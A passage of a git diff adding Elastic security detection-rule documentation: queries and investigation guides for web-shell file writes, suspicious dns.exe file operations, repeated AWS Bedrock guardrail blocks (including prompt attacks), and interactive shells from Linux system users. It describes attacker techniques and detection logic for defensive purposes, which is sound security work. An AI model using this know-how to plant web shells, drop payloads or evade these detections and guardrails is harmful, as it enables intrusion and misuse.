file.extension: ("js" or "mjs" or "cjs" or "ts" or "mts" or "cts")) or + (process.name: "dotnet" and file.extension: ("cshtml" or "razor")) or + (process.name: (mono* or xsp* or mod-mono-server* or fastcgi-mono-server*) and file.extension: ("asp" or "aspx" or "ashx" or "asmx" or "ascx" or "cshtml")) or + (process.name: python* and file.extension: ("wsgi" or "cgi" or "fcgi")) or + (process.name: ruby* and file.extension: ("erb" or "ru")) or + (process.name: perl* and file.extension: ("cgi" or "fcgi" or "psgi")) or + (process.name: lua* and file.extension: ("lua" or "luac")) +) and +file.path:( + /home/*/* or /var/www/* or /srv/www/* or /srv/http/* or /usr/share/nginx/* or /opt/zimbra/jetty* or + /usr/share/caddy/* or /usr/local/lsws/* or /opt/bitnami/* or */sites/*/files/* or /opt/easyengine/* or + */wp-content/* or */httpdocs/* or */httpsdocs/* or */htdocs/* or */wwwroot/* or */webroot/* or */cgi-bin/* or + */upload/* or */uploads/* or */images/* or */media/* or */userfiles/* or */attachments/* or + /usr/share/webapps/* or /usr/share/zabbix/* or /usr/share/phpmyadmin/* or /usr/share/phpMyAdmin/* or + /var/lib/roundcube/* or /usr/share/cacti/* or /usr/share/nagios* or /var/lib/tomcat* or /usr/share/tomcat* or + /usr/local/tomcat/* or /opt/tomcat* or /var/lib/jetty* or /usr/share/jetty* or + /usr/local/cpanel/* or /usr/local/psa* or /opt/psa/admin/* or /usr/share/webmin/* or + /usr/libexec/webmin/* or /usr/local/nginx/* or /usr/local/apache* or /usr/sap/* or /opt/rh/* or + */public_html/* or */private_html/* or */public/* or */private/* or */deployments/* or */autodeploy/* or + */dropins/* or */installedApps/* or /srv/caddy/* or /usr/local/openresty/* or */fileadmin/* or */custom_apps/* or + */vhost* or /opt/apache-tomcat* or /opt/jetty* or /usr/local/jetty* or */wildfly*/* or */jboss*/* or */glassfish/* or + */user_projects/domains/* or */resin*/webapps/* or */installedApps/* +) and +not ( + file.path:*/storage/framework/sessions/* or + (process.name:php-fpm* and file.path:(/mnt/WEB/*/public_html/tmp/templates/frontend/*.php or /mnt/WEB/*/public_html/wp-content/languages/*.json)) or + (process.name:node and (user.id>=1000 or user.id:0)) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-file-operation-by-dns-exe.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-file-operation-by-dns-exe.asciidoc new file mode 100644 index 0000000000..8e77950f80 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-file-operation-by-dns-exe.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-unusual-file-operation-by-dns-exe]] +=== Unusual File Operation by dns.exe + +Identifies an unexpected file being modified by dns.exe, the process responsible for Windows DNS Server services, which may indicate activity related to remote code execution or other forms of exploitation. + +*Rule type*: new_terms + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/ +* https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/ +* https://www.elastic.co/security-labs/detection-rules-for-sigred-vulnerability + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual File Operation by dns.exe* + + +The rule flags Windows DNS Server (dns.exe) creating, changing, or deleting files that aren’t typical DNS zone or log files, which signals exploitation for code execution or abuse to stage payloads for lateral movement. After gaining execution in dns.exe via DNS RPC or parsing bugs, attackers often write a malicious EXE into System32 and register a new service, leveraging the trusted service context on a domain controller to persist and pivot. + + +*Possible investigation steps* + + +- Validate the modified file’s full path, type, and provenance, prioritizing writes in %SystemRoot%\System32, NETLOGON, or SYSVOL, and confirm signature, hash reputation, and compile timestamp to rapidly classify the artifact. +- Pivot to persistence telemetry around the same timestamp by hunting for new services or scheduled tasks (e.g., SCM 7045, Security 4697, TaskScheduler 106/200) and registry autoruns that reference the file. +- Correlate with DNS service network activity and logs for unusual RPC calls, authenticated connections from non-admin hosts, or spikes in failures/crashes that could indicate exploitation. +- Inspect the service’s runtime state for injection indicators by reviewing recent module loads, unsigned DLLs, suspicious memory sections, and ETW/Sysmon events mapping threads that performed the write. +- If the file is executable or a script or placed in execution-friendly locations, detonate it in a sandbox and scope the blast radius by pivoting on its hash, filename, and path across the fleet. + + +*False positive analysis* + + +- DNS debug logging configured to write to a file with a non-.log extension (e.g., .txt) causes dns.exe to legitimately create or rotate that file during troubleshooting. +- An administrator exports a zone to a custom-named file with a nonstandard extension (e.g., .txt or .xml), leading dns.exe to create or modify that file as part of routine maintenance. + + +*Response and remediation* + + +- Isolate the host by removing it from DNS rotation and restricting network access to management-only, then capture and quarantine any files dns.exe created or modified outside %SystemRoot%\System32\Dns or with executable extensions. +- Delete or quarantine suspicious artifacts written by dns.exe (e.g., .exe, .dll, .ps1, .js) in %SystemRoot%\System32, NETLOGON, or SYSVOL, record their hashes, and block them fleetwide via EDR or application control. +- Remove persistence by disabling and deleting any new or altered Windows services, scheduled tasks, or Run/Autorun registry entries that reference the dns.exe-written file path, and restore legitimate service ImagePath values. +- Recover by repairing system files with SFC/DISM, restoring affected directories from known-good backups, and restarting the DNS service, then validate zone integrity, AD replication, and client name-resolution. +- Immediately escalate to incident response if dns.exe wrote an executable or script into NETLOGON or SYSVOL or if a service binary path was changed to point to a newly dropped file, indicating probable domain controller compromise and lateral movement. +- Harden by applying the latest Windows Server DNS patches, enforcing WDAC/AppLocker to block execution from SYSVOL/NETLOGON and restrict dns.exe writes to the DNS and log directories, and enable auditing on service creation and file writes in System32/NETLOGON/SYSVOL. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] +- https://ela.st/sysmon-event-23-setup[Sysmon Event ID 23 - File Delete] + + +==== Rule query + + +[source, js] +---------------------------------- +event.category : "file" and host.os.type : "windows" and + event.type : ("creation" or "deletion" or "change") and process.name : "dns.exe" and + not file.extension : ("old" or "temp" or "bak" or "dns" or "arpa" or "log") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-high-confidence-content-filter-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-high-confidence-content-filter-blocks-detected.asciidoc new file mode 100644 index 0000000000..418fee4a82 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-high-confidence-content-filter-blocks-detected.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-unusual-high-confidence-content-filter-blocks-detected]] +=== Unusual High Confidence Content Filter Blocks Detected + +Detects repeated high-confidence 'BLOCKED' actions coupled with specific 'Content Filter' policy violation having codes such as 'MISCONDUCT', 'HATE', 'SEXUAL', INSULTS', 'PROMPT_ATTACK', 'VIOLENCE' indicating persistent misuse or attempts to probe the model's ethical boundaries. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Use Case: Policy Violation +* Mitre Atlas: T0051 +* Mitre Atlas: T0054 +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Domain: GenAI +* Service: AWS S3 +* Service: AWS Bedrock + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual High Confidence Content Filter Blocks Detected* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can enable Content filter for Hate, Insults, Sexual Violence and Misconduct along with Prompt Attack filters prompts +to prevent the model from generating content on specific, undesired subjects, and they can establish thresholds for harmful content categories. + + +*Possible investigation steps* + + +- Identify the user account whose prompts caused high confidence content filter blocks and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multi-value fields +| mv_expand gen_ai.compliance.violation_code +| mv_expand gen_ai.policy.confidence +| mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action + +// Filter for high-confidence content policy blocks with targeted violations +| where + gen_ai.policy.action == "BLOCKED" + and gen_ai.policy.name == "content_policy" + and gen_ai.policy.confidence like "HIGH" + and gen_ai.compliance.violation_code in ("HATE", "MISCONDUCT", "SEXUAL", "INSULTS", "PROMPT_ATTACK", "VIOLENCE") + +// keep ECS + compliance fields +| keep + user.id, + gen_ai.compliance.violation_code + +// count blocked violations per user per violation type +| stats + Esql.ml_policy_blocked_violation_count = count() + by + user.id, + gen_ai.compliance.violation_code + +// Aggregate all violation types per user +| stats + Esql.ml_policy_blocked_violation_total_count = sum(Esql.ml_policy_blocked_violation_count) + by + user.id + +// Filter for users with more than 5 total violations +| where Esql.ml_policy_blocked_violation_total_count > 5 + +// sort by violation volume +| sort Esql.ml_policy_blocked_violation_total_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc new file mode 100644 index 0000000000..43f2a8baec --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-unusual-high-denied-sensitive-information-policy-blocks-detected]] +=== Unusual High Denied Sensitive Information Policy Blocks Detected + +Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'sensitive_information_policy', indicating persistent misuse or attempts to probe the model's denied topics. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Use Case: Policy Violation +* Mitre Atlas: T0051 +* Mitre Atlas: T0054 +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Domain: GenAI +* Service: AWS S3 +* Service: AWS Bedrock + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual High Denied Sensitive Information Policy Blocks Detected* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can define "sensitive information filters" to prevent the model from generating content on specific, undesired subjects, +and they can establish thresholds for harmful content categories. + + +*Possible investigation steps* + + +- Identify the user account that queried sensitive information and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multi-valued policy name field +| mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action + +// Filter for blocked actions related to sensitive info policy +| where + gen_ai.policy.action == "BLOCKED" + and gen_ai.compliance.violation_detected == "true" + and gen_ai.policy.name == "sensitive_information_policy" + +// keep only relevant fields +| keep user.id + +// count how many times each user triggered a sensitive info block +| stats + Esql.ml_policy_blocked_sensitive_info_count = count() + by user.id + +// Filter for users with more than 5 violations +| where Esql.ml_policy_blocked_sensitive_info_count > 5 + +// sort highest to lowest +| sort Esql.ml_policy_blocked_sensitive_info_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-high-denied-topic-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-high-denied-topic-blocks-detected.asciidoc new file mode 100644 index 0000000000..27632d9576 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-high-denied-topic-blocks-detected.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-unusual-high-denied-topic-blocks-detected]] +=== Unusual High Denied Topic Blocks Detected + +Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'topic_policy', indicating persistent misuse or attempts to probe the model's denied topics. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Use Case: Policy Violation +* Mitre Atlas: T0051 +* Mitre Atlas: T0054 +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Domain: GenAI +* Service: AWS S3 +* Service: AWS Bedrock + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual High Denied Topic Blocks Detected* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can define "denied topics" to prevent the model from generating content on specific, undesired subjects, +and they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language. + + +*Possible investigation steps* + + +- Identify the user account that queried denied topics and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multi-value policy name field +| mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action + +// Filter for blocked topic policy violations +| where + gen_ai.policy.action == "BLOCKED" + and gen_ai.compliance.violation_detected == "true" + and gen_ai.policy.name == "topic_policy" + +// keep only user info +| keep user.id + +// count how many times each user triggered a blocked topic policy +| stats + Esql.ml_policy_blocked_topic_count = count() + by user.id + +// Filter for excessive violations +| where Esql.ml_policy_blocked_topic_count > 5 + +// sort highest to lowest +| sort Esql.ml_policy_blocked_topic_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-high-word-policy-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-high-word-policy-blocks-detected.asciidoc new file mode 100644 index 0000000000..599ac8d7d1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-high-word-policy-blocks-detected.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-unusual-high-word-policy-blocks-detected]] +=== Unusual High Word Policy Blocks Detected + +Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'word_policy', indicating persistent misuse or attempts to probe the model's denied topics. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Use Case: Policy Violation +* Mitre Atlas: T0051 +* Mitre Atlas: T0054 +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Domain: GenAI +* Service: AWS S3 +* Service: AWS Bedrock + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual High Word Policy Blocks Detected* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can define "word filters" to prevent the model from generating content on profanity, undesired subjects, +and they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language. + + +*Possible investigation steps* + + +- Identify the user account whose prompts contained profanity and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multivalued policy names +| mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action + +// Filter for blocked profanity-related policy violations +| where + gen_ai.policy.action == "BLOCKED" + and gen_ai.compliance.violation_detected == "true" + and gen_ai.policy.name == "word_policy" + +// keep relevant user field +| keep user.id + +// count blocked profanity attempts per user +| stats + Esql.ml_policy_blocked_profanity_count = count() + by user.id + +// Filter for excessive policy violations +| where Esql.ml_policy_blocked_profanity_count > 5 + +// sort by violation volume +| sort Esql.ml_policy_blocked_profanity_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-interactive-shell-launched-from-system-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-interactive-shell-launched-from-system-user.asciidoc new file mode 100644 index 0000000000..f47bd3fc23 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-interactive-shell-launched-from-system-user.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-34-unusual-interactive-shell-launched-from-system-user]] +=== Unusual Interactive Shell Launched from System User + +This rule detects interactive shells launched from system users. System users typically do not require interactive shells, and their presence may indicate malicious activity. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Interactive Shell Launched from System User* + + +In Linux environments, system users are typically non-interactive and serve specific system functions. Adversaries may exploit these accounts to launch interactive shells, bypassing security measures and evading detection. The detection rule identifies such anomalies by monitoring process activities linked to system users, excluding legitimate processes, and flagging unexpected interactive shell launches, thus highlighting potential malicious activity. + + +*Possible investigation steps* + + +- Review the process details to identify the specific interactive shell that was launched, focusing on the process.interactive:true field. +- Examine the user.name field to determine which system user account was used to launch the shell and assess whether this account should have interactive shell access. +- Investigate the process.parent.executable and process.parent.name fields to understand the parent process that initiated the shell, checking for any unusual or unauthorized parent processes. +- Analyze the process.args field for any suspicious or unexpected command-line arguments that might indicate malicious intent. +- Cross-reference the event.timestamp with other security logs to identify any correlated activities or anomalies around the same time frame. +- Check for any recent changes or anomalies in the system user's account settings or permissions that could have facilitated the shell launch. +- Assess the risk and impact of the activity by considering the context of the system and the potential for further malicious actions. + + +*False positive analysis* + + +- System maintenance tasks may trigger interactive shells from system users like 'daemon' or 'systemd-timesync'. To handle these, review the specific maintenance scripts and add exceptions for known benign processes. +- Automated backup or update processes might launch interactive shells under system users such as 'backup' or 'apt'. Identify these processes and exclude them by adding their parent process names or arguments to the exception list. +- Some monitoring or logging tools may use system accounts like 'messagebus' or 'dbus' to execute interactive shells. Verify these tools and exclude their activities if they are legitimate and necessary for system operations. +- Custom scripts or applications running under system users for specific tasks could be misidentified. Document these scripts and add their process names to the exclusion criteria to prevent false alerts. +- In environments where certain system users are repurposed for non-standard tasks, ensure these tasks are documented and create exceptions for their associated processes to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious interactive shell sessions initiated by system users to halt potential malicious activities. +- Conduct a thorough review of the affected system's logs and processes to identify any additional indicators of compromise or unauthorized changes. +- Reset credentials for the compromised system user accounts and any other accounts that may have been accessed or affected. +- Implement stricter access controls and monitoring for system user accounts to prevent unauthorized interactive shell launches in the future. +- Escalate the 